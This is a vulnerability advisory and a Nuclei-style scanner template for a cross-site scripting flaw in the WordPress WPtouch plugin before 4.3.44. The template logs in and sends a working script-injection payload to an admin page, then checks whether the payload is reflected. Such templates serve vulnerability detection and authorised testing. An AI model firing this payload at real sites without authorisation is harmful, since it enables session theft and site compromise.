WordPress WPtouch plugin prior to 4.3.44 contains a cross-site scripting vulnerability. The plugin does not escape some URLs before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: wptouch-xss
info:
name: WordPress WPtouch <4.3.44 - Cross-Site Scripting
author: akincibor
severity: medium
description: |
WordPress WPtouch plugin prior to 4.3.44 contains a cross-site scripting vulnerability. The plugin does not escape some URLs before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://wpscan.com/vulnerability/7dbd8348-9c5d-4d62-a0f4-2b7c2b7e58e4
- https://wordpress.org/plugins/wptouch/advanced/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
metadata:
max-request: 2
tags: wp-plugin,wp,wordpress,xss,authenticated,wptouch,wpscan,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=wptouch-admin-license&a%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>'
- type: word
part: body
words:
- 'WPtouchCustom'
- 'WPtouchAjax'
- 'toplevel_page_wptouch-admin'
condition: or
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402204c9cdb79935d273c101d2d53728905dda8a9fc73b5e75dd8a02f1d346df68cc902200d58a2802953ee9de25f6b99ee22054887b203aa0e3bebbd5a01c896a844b5e5:922c64590222798bb761d5b6d8e72950